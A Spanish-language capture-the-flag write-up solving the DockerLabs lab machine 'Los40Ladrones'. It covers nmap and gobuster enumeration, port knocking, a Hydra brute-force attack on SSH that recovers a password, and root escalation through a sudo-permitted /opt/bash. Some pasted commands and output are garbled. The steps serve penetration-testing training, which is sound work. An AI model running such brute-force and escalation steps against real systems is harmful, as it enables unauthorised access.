😺 👤 Máquinas Ciberseguridad > DockerLabs

24. Máquina: Los40Ladrones(Fácil)

- 1. Descubrimiento de puertos y servicios con Nmap:
 - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando: nmap -sVC 172.17.0.2 -Pn
 - Resultado: Se encontró el servicio HTTP Apache abierto.

```
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.58 ((Ubuntu))

|_http-server-header: Apache/2.4.58 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

MAC Address: 02:42:AC:11:00:02 (Unknown)
```

- 2. Búsqueda de directorios activos con Gobuster:
 - Usamos Gobuster para encontrar directorios activos en el servicio HTTP Apache.
 - Comando: gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
 - Resultado: Se encontró algún directorio interesante como el file qdefense.txt, con el contenido siguiente:

 Recuerda llama antes de entrar, no seas como toctoc el maleducado 7000 8000 9000 busca y llama +54
 2933574639

```
Starting gobuster in directory enumeration mode
------
/.html
                 (Status: 403) [Size: 275]
                (Status: 403) [Size: 275]
/.php
/index.html
                (Status: 200) [Size: 10792]
/qdefense.txt
                (Status: 200) [Size: 111]
                (Status: 403) [Size: 275]
/.html
/.php
                (Status: 403) [Size: 275]
                 (Status: 403) [Size: 275]
/server-status
Progress: 882240 / 882244 (100.00%)
```

3. Port Knocking con Knockd:

- Usaremos la herramienta knockd para realizar port knocking, es decir, enviar secuencias de conexiones a puertos específicos que podrían estar securizados, ya que podría darnos información sobre servicios que están ejecutándose pero que no han sido detectados a priori. En la información del archivo .txt encontrado, nos explica que realicemos esta técnica contra los puertos 7000, 8000 y 9000.
 - **Comando:** knock -v 172.17.0.2 7000 8000 9000
 - Resultado: Se envian secuencias de conexiones a los puertos 7000, 8000 y 9000, recibimos el output:
 hitting tcp 172.17.0.2:7000
 hitting tcp 172.17.0.2:8000

4. Nmap Después de Port Knocking:

- Realizamos un segundo escaneo de puertos, pero esta vez hemos realizado el port knocking enviando secuencias de conexiones a puertos en específicos indicados en el fichero.
 - **Comando:** nmap -sVC 172.17.0.2 -Pn

hitting tcp 172.17.0.2:9000

Resultado: Ahora además de aparecer el servicio HTTP Apache, también aparece un servicio SSH en el puerto 22 que antes parecía estar securizado previamente.

```
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
| 256 de:cf:4e:ec:c9:3e:3d:68:dd:f5:1f:23:21:a3:98:83 (ECDSA)
|_ 256 3e:c1:74:c1:44:af:6f:d0:90:15:4c:95:46:0a:ea:22 (ED25519)

80/tcp open http Apache httpd 2.4.58 ((Ubuntu))

|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)

MAC Address: 02:42:AC:11:00:02 (Unknown)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

5. Ataque de fuerza bruta con Hydra servicio SSH:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando el nombre de usuario que nos muestran en el file *qdefense.txt* encontrado: *toctoc* y las contraseñas del rockyou.txt
 - Comandos: hydra -1 toctoc-P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I

 Resultado: Se ha encontrado la contraseña kittycat para el usuario toctoc realizando un ataque de fuerza bruta contra el servicio ssh.

```
(xoot **Dali)-[/home/kali]

hydra -l toctoc -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -1

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-18 08:08:55

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to the starting laws in the second of the second of
```

6. Verificación permisos toctoc:

- Una vez dentro del usuario toctoc en la máquina víctima con las credenciales encontradas, vamos a verificar que permisos tiene este usuario sobre la máquina víctima.
 - Comando: ssh toctoc@172.17.0.2 (contraseña: kittycat) sudo -l
 - Resultado: Toctoc tiene máximos privilegios en la ejecución de /ahora/noesta/function, una función la cual no
 parece estar ya disponible, y en opt/bash, una bash la cual podemos usar para escalar privilegios.

```
(ALL : NOPASSWD) /opt/bash
(ALL : NOPASSWD) /ahora/noesta/function
```

7. Ejecución Bash con máximos privilegios:

- El usuario toctoc tiene máximos privilegios para ejectuar /opt/bash, así que podemos escalar privilegios usándolo.
 - Comando: sudo /opt/bash
 - Resultado: Hemos escalado privilegios aprovechando los permisos sobre /opt/bash, consiguiendo los máximos privilegios como usuario root. Fin de la resolución de la máquina!

```
toctoc@531e55e1cda3:/$ sudo /opt/bash
[sudo] password for toctoc:
root@531e55e1cda3:/# whoami
root
root@531e55e1cda3:/# cd root/
root@531e55e1cda3:~# ls -a
. . . .bash_history .bashrc .local .profile .ssh
root@531e55e1cda3:~# xDaliK
bash: xDaliK: command not found
```